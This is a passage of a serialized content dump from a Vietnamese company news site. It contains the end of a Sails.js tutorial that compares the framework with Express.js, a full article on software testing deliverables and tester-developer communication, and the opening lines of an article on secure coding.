chủ MySQL với các thông tin kết nối đã cung cấp. Sails.js sẽ xử lý kết nối và thực hiện các truy vấn dựa trên các model đã được định nghĩa và các phương thức ORM tương ứng.",[11,20786,20787],{},"Bằng cách tuân thủ các bước này, bạn có thể kết nối ứng dụng Sails.js của mình với cơ sở dữ liệu MySQL và tận dụng sức mạnh của MySQL để lưu trữ và truy xuất dữ liệu.",[11,20789,20790],{},[20,20791,18773],{},[11,20793,20794],{},"Khi bạn tạo một ứng dụng Sails.js mới bằng lệnh sails new, cấu hình mặc định trong tệp tin config\u002Fmodels.js bao gồm cài đặt sau",[533,20796],{"className":20797,"alt":66,"src":20798,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04143811\u002Fauto-migrate-1024x180.png",[11,20800,20801,20804,20805,974],{},[703,20802,20803],{},"migrate: 'alter'","chỉ định rằng cơ sở dữ liệu sẽ được tự động điều chỉnh để phù hợp với các model của ứng dụng mỗi khi Sails app được khởi động bằng cách sử dụng lệnh ",[703,20806,20702],{},[11,20808,20809],{},"Có ba tùy chọn có sẵn cho cài đặt migrate:",[11,20811,20812,20815],{},[703,20813,20814],{},"'alter'",": Tùy chọn này sẽ tự động tạo hoặc chỉnh sửa các bảng cơ sở dữ liệu để phù hợp với các model hiện tại. Nó có thể thêm hoặc chỉnh sửa các cột, nhưng sẽ không xóa bất kỳ dữ liệu hiện có nào.",[11,20817,20818,20821],{},[703,20819,20820],{},"'drop'",": Tùy chọn này sẽ xóa tất cả các bảng trong cơ sở dữ liệu và tạo lại chúng dựa trên các model hiện tại. Hãy cẩn thận khi sử dụng tùy chọn này vì nó sẽ dẫn đến mất mát dữ liệu.",[11,20823,20824,20827],{},[703,20825,20826],{},"'safe'",": Tùy chọn này sẽ không thay đổi bất kỳ cấu trúc cơ sở dữ liệu nào. Nó giả định cấu trúc đã đồng bộ với các model và sẽ không thay đổi bất kỳ bảng hoặc dữ liệu hiện có nào.",[657,20829,20831],{"id":20830},"developing-with-sailsjs","Developing with Sails.js",[11,20833,20834],{},"Hãy tạo model \"article\" bằng cách chạy lệnh sau:",[696,20836,20839],{"className":20837,"code":20838,"language":701},[699],"sails generate model article\n",[703,20840,20838],{"__ignoreMap":66},[11,20842,20843,20844,20847,20848,974],{},"Sails sẽ tiến hành tạo một tệp tin model có tên là ",[20,20845,20846],{},"article.js"," trong thư mục ",[20,20849,20850],{},"api\u002Fmodels",[11,20852,20853,20854,1091,20857,1091,20860,20863],{},"Định nghĩa model \"Article\" sử dụng ORM Waterline và xác định các thuộc tính như ",[20,20855,20856],{},"title",[20,20858,20859],{},"content",[20,20861,20862],{},"author,"," v.v.",[533,20865],{"className":20866,"alt":66,"src":20867,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04152634\u002Farticle-model-1024x743.png",[11,20869,20870,20871,20874,20875,974],{},"Trong thư mục ",[20,20872,20873],{},"api\u002Fcontrollers",", hãy tạo một thư mục mới có tên là ",[20,20876,20877],{},"article",[11,20879,20870,20880,20882,20883,20886],{},[20,20881,20877],{}," , hãy tạo một file mới có tên là ",[20,20884,20885],{},"search.js"," và thêm mã sau:",[533,20888],{"className":20889,"alt":66,"src":20890,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04150731\u002Farticle-search-1024x608.png",[11,20892,20870,20893,20874,20896,974],{},[20,20894,20895],{},"views\u002Fpages\u002F",[20,20897,20877],{},[11,20899,20870,20900,20902,20903,20886],{},[20,20901,20877],{}," hãy tạo một tệp tin có tên là ",[20,20904,20905],{},"search.ejs",[533,20907],{"className":20908,"alt":66,"src":20909,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04151925\u002Farticle-search-page-1024x734.png",[11,20911,20912,20913,20915],{},"Trong tệp tin ",[20,20914,20684],{},", hãy thêm mã sau:",[533,20917],{"className":20918,"alt":66,"src":20919,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04153659\u002Farticle-search-route.png",[11,20921,20922,20923,20925,20926,20930],{},"Khởi động ứng dụng Sails.js bằng lệnh ",[703,20924,20702],{}," và truy cập vào địa chỉ ",[58,20927,20928],{"href":20928,"rel":20929},"http:\u002F\u002Flocalhost:1337\u002Farticle",[62]," để xem kết quả.",[533,20932],{"className":20933,"alt":66,"src":20934,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04154247\u002Farticle-search-screen-1024x431.png",[11,20936,20937,20938,20941,20942,20945],{},"Tạo trang Article-create, trong thư mục ",[20,20939,20940],{},"api\\controllers\\article",", tạo một tệp tin có tên là ",[20,20943,20944],{},"view-create.js",", và thêm mã sau:",[533,20947],{"className":20948,"alt":66,"src":20949,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04162537\u002Farticle-view-created-1024x312.png",[11,20951,20870,20952,20954,20955,20886],{},[20,20953,20940],{}," tạo một tệp tin có tên là ",[20,20956,20957],{},"create.js",[533,20959],{"className":20960,"alt":66,"src":20961,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04162833\u002Farticle-create.png",[11,20963,20870,20964,20954,20967,20886],{},[20,20965,20966],{},"views\u002Fpages\u002Farticle",[20,20968,20969],{},"create.ejs",[533,20971],{"className":20972,"alt":66,"src":20973,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04164308\u002Fartilce-create-page-1024x450.png",[11,20975,20976,20977,20979],{},"Trong file ",[20,20978,20684],{}," file, thêm mã sau:",[533,20981],{"className":20982,"alt":66,"src":20983,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04162959\u002Farticle-create-route-1024x119.png",[11,20985,20986,20987,20930],{},"Truy cập địa chỉ ",[58,20988,20989],{"href":20989,"rel":20990},"http:\u002F\u002Flocalhost:1337\u002Farticle\u002Fcreate",[62],[533,20992],{"className":20993,"alt":66,"src":20994,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04163354\u002Farticle-create-screen-1-1024x351.png",[11,20996,20997],{},"Submit và xem kết quả.",[533,20999],{"className":21000,"alt":66,"src":21001,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04163638\u002Farticle-create-result-1024x437.png",[11,21003,21004,21005,20941,21007,20945],{},"Tạo trang Article-update , trong thư mục ",[20,21006,20940],{},[20,21008,21009],{},"view-update.js",[533,21011],{"className":21012,"alt":66,"src":21013,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06102352\u002Farticle-view-update-1024x623.png",[11,21015,20870,21016,21018,21019,21022],{},[20,21017,20940],{}," tạo một tệp tin có tên là ",[20,21020,21021],{},"update","**.js** và thêm mã sau:",[533,21024],{"className":21025,"alt":66,"src":21026,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06103338\u002Farticle-update-1024x738.png",[11,21028,20870,21029,21018,21031,21022],{},[20,21030,20940],{},[20,21032,21021],{},[533,21034],{"className":21035,"alt":66,"src":21036,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06103501\u002Fartile-update-page-1024x406.png",[11,21038,20976,21039,21041],{},[20,21040,20684],{},"  thêm mã sau:",[533,21043],{"className":21044,"alt":66,"src":21045,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06103618\u002Farticle-update-route-1024x92.png",[11,21047,20986,21048,20930],{},[58,21049,21050],{"href":21050,"rel":21051},"http:\u002F\u002Flocalhost:1337\u002Farticle\u002Fupdate\u002F:id",[62],[11,21053,21054],{},[533,21055],{"alt":66,"src":21056},"images\u002Farticle-update-screen.png",[11,21058,21059],{},"Đây là các thao tác cơ bản trong Sails.js. Bạn có thể điều chỉnh các ví dụ này để phù hợp với các model và endpoint cụ thể của bạn.",[490,21061,21063],{"id":21062},"so-sánh-với-expressjs","So sánh với Express.js",[1800,21065,21067],{"id":21066},"mục-tiêu","Mục tiêu",[11,21069,21070],{},"Express.js tập trung vào việc xây dựng ứng dụng web sử dụng Node.js bằng cách cung cấp một framework nhẹ và linh hoạt. Nó cho phép bạn nhanh chóng tạo các RESTful API và ứng dụng web đơn giản.",[11,21072,21073],{},"Sails.js nhằm xây dựng ứng dụng web đa nền tảng và real-time. Nó cung cấp một framework toàn diện với hỗ trợ quản lý cơ sở dữ liệu, blueprints và các tính năng như socket.io.",[1800,21075,21077],{"id":21076},"quản-lý-cấu-trúc-ứng-dụng","Quản lý cấu trúc ứng dụng",[11,21079,21080],{},"Express.js không áp đặt một cấu trúc ứng dụng cụ thể. Bạn có tự do tổ chức cấu trúc ứng dụng theo sở thích của mình. Điều này có thể là một lợi thế đối với những người muốn có toàn quyền kiểm soát cấu trúc của ứng dụng.",[11,21082,21083],{},"Sails.js áp dụng một cấu trúc ứng dụng mặc định để giúp bạn bắt đầu nhanh chóng và đảm bảo tính nhất quán trong các dự án Sails.js. Cấu trúc này bao gồm các thư mục và tệp tin chuẩn để đặt các controllers, models, views và các thành phần khác của ứng dụng.",[1800,21085,21087],{"id":21086},"orm-và-quản-lý-cơ-sở-dữ-liệu","ORM và Quản lý Cơ sở dữ liệu",[11,21089,21090],{},"Express.js không có ORM tích hợp sẵn (Object-Relational Mapping). Bạn có thể sử dụng các ORM bên thứ ba hoặc giao tiếp trực tiếp với cơ sở dữ liệu bằng cách sử dụng các trình điều khiển cơ sở dữ liệu.",[11,21092,21093],{},"Sails.js tích hợp với Waterline, một ORM đa nền tảng, giúp tương tác với cơ sở dữ liệu dễ dàng và cho phép chuyển đổi giữa các hệ quản trị cơ sở dữ liệu khác nhau như MySQL, PostgreSQL, MongoDB và nhiều hơn nữa mà không cần thay đổi mã.",[1800,21095,21097],{"id":21096},"xử-lý-yêu-cầu-và-định-tuyến","Xử lý yêu cầu và Định tuyến",[11,21099,21100],{},"Express.js cung cấp một cách linh hoạt để xử lý yêu cầu và định tuyến thông qua middleware. Bạn có thể tùy chỉnh luồng xử lý yêu cầu và gắn kết middleware để thực hiện các nhiệm vụ như xác thực, xử lý lỗi và nhiều hơn nữa.",[11,21102,21103],{},"Sails.js được xây dựng dựa trên Express.js và cung cấp các tính năng bổ sung cho xử lý yêu cầu và định tuyến, chẳng hạn như blueprint routes cho các hoạt động CRUD mặc định và kiểm soát truy cập dựa trên chính sách (policy-based access control). Điều này đơn giản hóa quá trình xây dựng các API RESTful và quản lý quyền truy cập.",[11,21105,21106],{},"Nhìn chung Express.js tập trung vào tính linh hoạt và cho phép bạn nhanh chóng xây dựng ứng dụng web theo sở thích của bạn. Trong khi đó, Sails.js cung cấp một framework toàn diện với hỗ trợ ORM, quản lý cơ sở dữ liệu và các tính năng như blueprint routes và socket.io cho ứng dụng đa nền tảng và real-time.",[490,21108,7456],{"id":7455},[11,21110,21111],{},"Lựa chọn giữa Express.js và Sails.js phụ thuộc vào yêu cầu và phạm vi của dự án. Nếu bạn cần tính linh hoạt và tùy chỉnh cao, Express.js là sự lựa chọn phù hợp. Trong khi đó, nếu bạn muốn một framework toàn diện với các tính năng mở rộng sẵn để đơn giản hóa việc phát triển ứng dụng, Sails.js là một sự lựa chọn hữu ích.",[490,21113,7462],{"id":5255},[11,21115,21116,21117],{},"Express.js Documentation: ",[58,21118,21119],{"href":21119,"rel":21120},"https:\u002F\u002Fexpressjs.com\u002F",[62],[11,21122,21123,21124],{},"Sails.js Documentation: ",[58,21125,21126],{"href":21126,"rel":21127},"https:\u002F\u002Fsailsjs.com\u002Fdocumentation",[62],[11,21129,21130,21131],{},"Official Node.js Documentation: ",[58,21132,21133],{"href":21133,"rel":21134},"https:\u002F\u002Fnodejs.org\u002F",[62],[11,21136,21137,21138],{},"Stack Overflow: ",[58,21139,21140],{"href":21140,"rel":21141},"https:\u002F\u002Fstackoverflow.com\u002F",[62],{"title":66,"searchDepth":67,"depth":67,"links":21143},[21144,21145,21146,21147,21148],{"id":20538,"depth":1417,"text":20539},{"id":20563,"depth":1417,"text":20564},{"id":20597,"depth":1417,"text":20598},{"id":20725,"depth":1417,"text":20726},{"id":20830,"depth":1417,"text":20831},"2023-10-17","Giới thiệu Sails.js là một MVC(Model-View-Controller) framework phổ biến được xây dựng trên nền tảng Node.js, giúp đơn giản hóa việc xây dựng ứng dụng web có khả năng mở rộng và real-time. Trong bài viết này chúng tôi sẽ khởi tạo một ứng dụng web với Sails.js và thiết lập kết nối cơ sở dữ liệu MySQL. Ngoài ra, chúng tôi sẽ so sánh Sails.js với Express.js, một framework Node.js phổ biến khác.",{},"\u002Fvi\u002Fnews\u002Fsails-js-mvc-framework-node-js",{"title":20470,"description":21150},"vi\u002Fnews\u002Fsails-js-mvc-framework-node-js","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F05\u002F28095600\u002Fsails.png","FyTd9MXkzqM6QdkKys9fbcrzX5EQUzgq_vxdfrYm9qg",{"id":21158,"title":21159,"body":21160,"category":356,"created by":70,"date":21316,"description":21317,"extension":72,"meta":21318,"navigation":74,"path":21319,"sections":76,"seo":21320,"stem":21321,"thumbnail":21322,"__hash__":21323},"content_vi\u002Fvi\u002Fnews\u002Fsan-pham-dau-ra-cua-cac-hoat-dong-test.md","SẢN PHẨM ĐẦU RA CỦA CÁC HOẠT ĐỘNG TEST",{"type":8,"value":21161,"toc":21314},[21162,21165,21170,21173,21178,21181,21186,21189,21192,21197,21200,21203,21208,21211,21214,21219,21222,21232,21235,21240,21243,21246,21257,21260,21263,21266,21269,21272,21277,21294,21299,21302,21305,21308],[11,21163,21164],{},"Trong bài viết trước, chúng ta đã tìm hiểu về các hoạt động trong quy trình kiểm thử cơ bản. Lần này, chúng ta sẽ cùng xem qua các sản phẩm đầu ra của từng hoạt động đó nhé!",[11,21166,21167],{},[20,21168,21169],{},"Sản phẩm đầu ra của giai đoạn Lập kế hoạch kiểm thử",[11,21171,21172],{},"Kế hoạch kiểm thử được lập cho từng dự án theo chính sách và chiến lược kiểm thử của tổ chức. Tùy thuộc vào quy mô, đối tượng của dự án và mức độ phức tạp của các mục kiểm thử, có thể lập kế hoạch kiểm thử cho từng mục hoặc cấp độ kiểm thử. Các tiêu chí chuyển giao (bao gồm tiêu chí hoàn tất) và thông tin liên kết về các sản phẩm đầu vào và đầu ra cũng là các sản phẩm đầu ra trong giai đoạn Lập kế hoạch kiểm thử.",[11,21174,21175],{},[20,21176,21177],{},"Sản phẩm đầu ra của giai đoạn Giám sát và kiểm soát kiểm thử",[11,21179,21180],{},"Các báo cáo tiến độ kiểm thử và báo cáo tổng kết kiểm thử theo từng mốc thời gian là những sản phẩm chính được tạo ra. Thông tin bao gồm trong báo cáo sẽ khác nhau tùy thuộc vào dự án và cấp độ kiểm thử. Điểm quan trọng là cung cấp thông tin phù hợp và chính xác cho các bên liên quan vào thời điểm thích hợp. Trong quá trình thực hiện kiểm thử, cần báo cáo kịp thời các rủi ro dự án như vấn đề về chất lượng, chức năng chưa đầy đủ, hoặc thiếu nguồn lực.",[11,21182,21183],{},[20,21184,21185],{},"Sản phẩm đầu ra của giai đoạn Phân tích kiểm thử",[11,21187,21188],{},"Điều kiện kiểm thử thu được từ quá trình phân tích kiểm thử cần đảm bảo liên kết với cơ sở kiểm thử để xác nhận đầy đủ điều kiện. Điều này cũng cần thiết khi xác định các mục và cấp độ kiểm thử. Thông tin về thứ tự ưu tiên các điều kiện kiểm thử quan trọng cho hệ thống hoặc sản phẩm cũng là một phần của sản phẩm đầu ra. ",[11,21190,21191],{},"Báo cáo về các lỗi phát hiện được qua phân tích cơ sở kiểm thử cũng được bao gồm. Trong trường hợp sử dụng kỹ thuật kiểm thử dựa trên kinh nghiệm, phương pháp kiểm thử khám phá không yêu cầu tạo test case chi tiết mà sử dụng các \"kịch bản kiểm thử\".",[11,21193,21194],{},[20,21195,21196],{},"Sản phẩm đầu ra của giai đoạn Thiết kế kiểm thử",[11,21198,21199],{},"Sản phẩm đầu ra của Thiết kế kiểm thử bao gồm tài liệu đặc tả thiết kế kiểm thử và test case. Đặc tả thiết kế kiểm thử xác định cấp độ và phương pháp kiểm thử cần thiết để đáp ứng các điều kiện kiểm thử mà không nêu rõ các giá trị đầu vào hoặc giá trị kỳ vọng. Trong test case, các chi tiết như giá trị đầu vào, kỳ vọng, và thứ tự thực hiện được mô tả chi tiết để hỗ trợ triển khai kiểm thử.",[11,21201,21202],{},"Trong thực tế, đôi khi tài liệu đặc tả thiết kế kiểm thử có thể bị lược bỏ, chỉ tạo sản phẩm đầu ra dưới dạng test case. Tuy nhiên, việc này khiến cho việc xác nhận sự đầy đủ hoặc thiếu sót của điều kiện kiểm thử cũng như việc ứng phó với các thay đổi trở nên khó khăn. Các test case ở cấp độ cao có thể giúp xác nhận mức độ bao phủ của các điều kiện kiểm thử và ứng phó linh hoạt với các thay đổi trong đặc tả, từ đó giúp đạt được thiết kế kiểm thử có khả năng tái sử dụng cao.",[11,21204,21205],{},[20,21206,21207],{},"Sản phẩm đầu ra của giai đoạn Phát triển kiểm thử",[11,21209,21210],{},"Sản phẩm đầu ra của triển khai kiểm thử là “testware” giúp thực hiện kiểm thử, bao gồm các bước kiểm thử và thứ tự của chúng, bộ kiểm thử (test suite), và lịch trình thực hiện kiểm thử. Ngoài ra, các dữ liệu kiểm thử, script, và cài đặt môi trường cũng là sản phẩm đầu ra. Tùy thuộc vào đối tượng và môi trường kiểm thử, có thể sử dụng các giả lập (simulation) hoặc bản mô phỏng (mockup).",[11,21212,21213],{},"Trong mọi tình huống, điều quan trọng là phải duy trì khả năng truy vết nguồn gốc (traceability) để xác nhận rằng các điều kiện đã được đáp ứng theo kế hoạch khi thực hiện kiểm thử. Để làm được điều này, các điều kiện kiểm thử trừu tượng có thể được chia nhỏ và cụ thể hóa hơn. Ngoài ra, trong kiểm thử thăm dò (exploratory testing), cần chuẩn bị một tài liệu hướng dẫn (test charter) để đảm bảo phạm vi bao phủ đầy đủ và cung cấp thông tin cần thiết.",[11,21215,21216],{},[20,21217,21218],{},"Sản phẩm đầu ra của giai đoạn Thực hiện kiểm thử",[11,21220,21221],{},"Các sản phẩm đầu ra của việc thực hiện kiểm thử bao gồm:",[31,21223,21224,21227,21229],{},[34,21225,21226],{},"Tài liệu trạng thái của các trường hợp kiểm thử và quy trình kiểm thử (ví dụ: có thể thực hiện, đạt, không đạt, chặn, bỏ qua, v.v.)",[34,21228,20411],{},[34,21230,21231],{},"Tài liệu liên quan đến các đối tượng kiểm thử, mục tiêu kiểm thử, công cụ kiểm thử và testware",[11,21233,21234],{},"Trong các sản phẩm này, tính tái hiện của kiểm thử là rất quan trọng. Đặc biệt, khi báo cáo sự cố, cần phải tái hiện sự cố để phân tích nguyên nhân và đưa ra giải pháp. Ngay cả khi thời gian tái hiện gặp khó khăn, vẫn cần cung cấp thông tin đầy đủ cho việc phân tích. Ngoài ra, các chỉ số độ bao phủ, như kết quả thực hiện và tiến độ liên quan đến các sự kiện kiểm thử được thiết lập trong giai đoạn triển khai kiểm thử, cũng là những sản phẩm đầu ra quan trọng. Các chỉ số này có thể được sử dụng làm báo cáo tiến độ kiểm thử cho các bên liên quan, và báo cáo tiến độ kiểm thử được phân loại là sản phẩm đầu ra của công việc giám sát và kiểm soát kiểm thử.",[11,21236,21237],{},[20,21238,21239],{},"Sản phẩm đầu ra của giai đoạn Hoàn thành kiểm thử",[11,21241,21242],{},"Sản phẩm đầu ra của giai đoạn hoàn tất kiểm thử bao gồm báo cáo tóm tắt kiểm thử nhằm thông báo và đạt được sự đồng thuận từ các bên liên quan về việc kiểm thử đã hoàn thành. Báo cáo tóm tắt kiểm thử được lập cho từng mốc quan trọng và là sản phẩm của hoạt động giám sát và kiểm soát kiểm thử, nhưng khi tất cả các kiểm thử đã hoàn tất, báo cáo này được coi là sản phẩm đầu ra của giai đoạn hoàn tất kiểm thử.",[11,21244,21245],{},"Ngoài ra, khi chuyển đổi mức kiểm thử hoặc chuyển đổi vòng lặp kiểm thử, các thông tin sau đây được lưu lại cho chu kỳ tiếp theo:",[31,21247,21248,21251,21254],{},[34,21249,21250],{},"Thông tin có ích cho việc cải thiện kiểm thử",[34,21252,21253],{},"Các trường hợp kiểm thử chưa thực hiện và các lỗi chưa được báo cáo sẽ chuyển sang chu kỳ sau",[34,21255,21256],{},"Dữ liệu kiểm thử, môi trường kiểm thử, và các testware có thể tái sử dụng",[11,21258,21259],{},"Các báo cáo tóm tắt kiểm thử, dữ liệu kiểm thử, và môi trường kiểm thử này sẽ được chuyển tiếp làm sản phẩm đầu ra hoàn tất cho các chu kỳ tiếp theo.",[11,21261,21262],{},"Đến đây, chúng ta đã hoàn thành phần giới thiệu về các hoạt động chính của kiểm thử. Vậy, mọi người đã bao giờ nghĩ đến mối quan hệ giữa tâm lý con người và kiểm thử chưa?",[11,21264,21265],{},"Để cải thiện chất lượng phần mềm, việc \"chỉ ra các lỗi\" là rất quan trọng, tuy nhiên, các lập trình viên có thể dễ dàng cảm thấy bị chỉ trích và khó chấp nhận những lỗi được chỉ ra này. Đặc biệt, khi việc phân công vai trò và giao tiếp không rõ ràng, họ có thể cảm thấy đội ngũ kiểm thử như một bộ phận nằm ngoài, dẫn đến tâm lý phản kháng. Lập trình viên thường tin tưởng vào tính đúng đắn của code mình viết và có xu hướng khó chấp nhận những chỉ trích từ đội ngũ kiểm thử.",[11,21267,21268],{},"Mặc dù chỉ ra các lỗi giúp nâng cao chất lượng, nhưng phía các lập trình viên lại có thể cảm thấy điều này gia tăng chi phí mà không đóng góp trực tiếp vào năng suất. Do đó, cần thiết phải có lời giải thích về tầm quan trọng của các hoạt động kiểm thử cũng như xây dựng mối quan hệ đáng tin tưởng giữa hai phía. Nếu việc chỉ ra các lỗi được xem như là một hoạt động nhằm “cải thiện chất lượng” thì mối quan hệ tích với lập trình viên có thể dễ dàng được xây dựng một cách tích cực hơn.",[11,21270,21271],{},"Kỹ năng giao tiếp là điều cần thiết cho đội ngũ kiểm thử để thiết lập lòng tin với các lập trình viên. Thông qua việc thường xuyên thông báo tiến độ kiểm thử, số lượng lỗi phát hiện được và chia sẻ mục đích của hoạt động kiểm thử, việc hợp tác có thể trở nên suôn sẻ hơn. Ngoài ra, có thể thông báo trước nội dung đánh giá và kiểm thử để đạt được sự đồng thuận từ các lập trình viên hơn.",[11,21273,21274],{},[20,21275,21276],{},"Các cách giao tiếp hiệu quả:",[31,21278,21279,21282,21285,21288,21291],{},[34,21280,21281],{},"Bắt đầu với thái độ hợp tác thay vì đối đầu, cùng nhắc nhở mọi người rằng mục tiêu chung là xây dựng một hệ thống chất lượng cao.",[34,21283,21284],{},"Nhấn mạnh lợi ích của kiểm thử. Chẳng hạn, đối với lập trình viên, thông tin về lỗi giúp nâng cao chất lượng sản phẩm và cải thiện kỹ năng cá nhân; đối với tổ chức, phát hiện và sửa lỗi thông qua kiểm thử giúp tiết kiệm thời gian, chi phí và giảm rủi ro tổng thể cho chất lượng sản phẩm.",[34,21286,21287],{},"Truyền đạt kết quả kiểm thử và các phát hiện một cách trung lập, tập trung vào sự thật và tránh đổ lỗi cho người phụ trách phát triển đã tạo ra lỗi. Cần tạo báo cáo lỗi và đánh giá các phát hiện dựa trên tính khách quan và tính thực tế.",[34,21289,21290],{},"Hiểu và đồng cảm với cảm xúc của các lập trình viên cũng như lý do họ phản ứng tiêu cực đối với các báo cáo lỗi được nhận.",[34,21292,21293],{},"Đảm bảo người khác hiểu điều bạn nói và bạn cũng hiểu điều người khác nói.",[11,21295,21296],{},[20,21297,21298],{},"Tâm lý của người phụ trách kiểm thử và lập trình viên",[11,21300,21301],{},"Lập trình viên và người phụ trách kiểm thử có các mục tiêu khác nhau, do đó nội dung và phương pháp hoạt động của họ cũng khác nhau. Lập trình viên thiết kế hệ thống và phần mềm để đáp ứng yêu cầu của khách hàng, tạo ra các sản phẩm theo đúng như tài liệu thiết kế và chương trình. Ngược lại, người phụ trách kiểm thử thực hiện các công việc nhằm xác minh chất lượng và phát hiện lỗi, bao gồm kiểm thử tĩnh, kiểm thử động, báo cáo lỗi và cung cấp thông tin về chất lượng. Mặc dù tâm lý của họ khác nhau, nhưng khi hỗ trợ lẫn nhau, họ có thể góp phần vào việc phát triển sản phẩm chất lượng cao hơn.",[11,21303,21304],{},"Ngoài ra, vai trò và góc nhìn của nhân viên cũng thay đổi tùy thuộc vào mô hình phát triển. Trong mô hình Waterfall, công việc được tiến hành theo từng giai đoạn, trong khi các mô hình như Spiral hoặc Incremental yêu cầu sự linh hoạt hơn. Đặc biệt, trong các dự án lớn hoặc trong các lĩnh vực yêu cầu độ an toàn cao, người phụ trách kiểm thử độc lập có khả năng phát hiện lỗi tốt hơn. Kỹ năng này cũng rất hữu ích trong các lĩnh vực chuyên môn như y tế và tài chính, nơi mà kiến thức chuyên ngành là cần thiết.",[11,21306,21307],{},"Cùng làm các câu hỏi kiểm tra lại kiến thức bên trên nào!",[11,21309,21310],{},[58,21311,21312],{"href":21312,"rel":21313},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002Fjstqb-3-vn",[62],{"title":66,"searchDepth":67,"depth":67,"links":21315},[],"2024-11-28","Trong bài viết trước, chúng ta đã tìm hiểu về các hoạt động trong quy trình kiểm thử cơ bản. Lần này, chúng ta sẽ cùng xem qua các sản phẩm đầu ra của từng hoạt động đó nhé!   Sản phẩm đầu ra của giai đoạn Lập kế hoạch kiểm thử Kế hoạch kiểm thử được lập cho từng dự án theo chính sách và chiến lược kiểm thử của tổ chức.",{},"\u002Fvi\u002Fnews\u002Fsan-pham-dau-ra-cua-cac-hoat-dong-test",{"title":21159,"description":21317},"vi\u002Fnews\u002Fsan-pham-dau-ra-cua-cac-hoat-dong-test","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F11\u002F26131115\u002FScreenshot-2024-11-26-131026.png","eLV54RATD9BF7_SiGIBYQj1NCZj-MTq1dvf2NGgw9Aw",{"id":21325,"title":21326,"body":21327,"category":1430,"created by":70,"date":22421,"description":22422,"extension":72,"meta":22423,"navigation":74,"path":22424,"sections":76,"seo":22425,"stem":22426,"thumbnail":22427,"__hash__":22428},"content_vi\u002Fvi\u002Fnews\u002Fsecure-coding-va-cac-phuong-phap-tot-nhat-de-xay-dung-ung-dung-an-toan.md","SECURE CODING VÀ CÁC PHƯƠNG PHÁP TỐT NHẤT ĐỂ XÂY DỰNG ỨNG DỤNG AN TOÀN",{"type":8,"value":21328,"toc":22395},[21329,21333,21336,21339,21343,21346,21366,21369,21373,21377,21380,21383,21386,21389,21395,21401,21404,21409,21415,21418,21422,21430,21433,21436,21438,21443,21449,21452,21457,21463,21466,21470,21473,21476,21479,21482,21485,21488,21491,21494,21497,21500,21503,21505,21509,21515,21518,21521,21524,21528,21534,21536,21539,21542,21546,21549,21552,21555,21558,21561,21564,21566,21570,21576,21579,21583,21589,21592,21596,21599,21602,21605,21608,21611,21614,21617,21620,21622,21626,21632,21635,21639,21645,21648,21652,21655,21658,21678,21681,21684,21687,21690,21693,21695,21699,21705,21708,21712,21718,21721,21725,21728,21731,21734,21737,21740,21743,21746,21748,21752,21758,21761,21765,21771,21774,21778,21781,21784,21787,21790,21793,21795,21799,21805,21813,21817,21823,21833,21837,21840,21843,21846,21849,21852,21855,21858,21860,21864,21870,21873,21877,21883,21886,21890,21893,21896,21899,21902,21905,21908,21911,21914,21916,21920,21926,21929,21933,21939,21942,21946,21949,21952,21955,21958,21961,21964,21967,21969,21973,21979,21982,21986,21992,21995,21999,22003,22006,22009,22015,22018,22024,22027,22030,22036,22039,22044,22055,22059,22062,22065,22111,22115,22126,22132,22135,22138,22141,22147,22150,22156,22159,22165,22168,22173,22176,22182,22185,22191,22194,22200,22204,22244,22250,22253,22256,22259,22265,22268,22271,22274,22280,22283,22286,22289,22293,22296,22300,22314,22318,22321,22323,22331,22334,22337,22341,22352,22354,22357,22359,22365,22371,22377,22383,22389],[498,21330,21332],{"id":21331},"giới-thiệu-về-secure-coding","Giới thiệu về secure coding",[11,21334,21335],{},"Secure coding là quá trình viết mã nguồn có tính bảo mật cao, tránh tối đa các lỗ hổng để ngăn chặn các cuộc tấn công từ kẻ xâm nhập hoặc hackers, tập trung vào 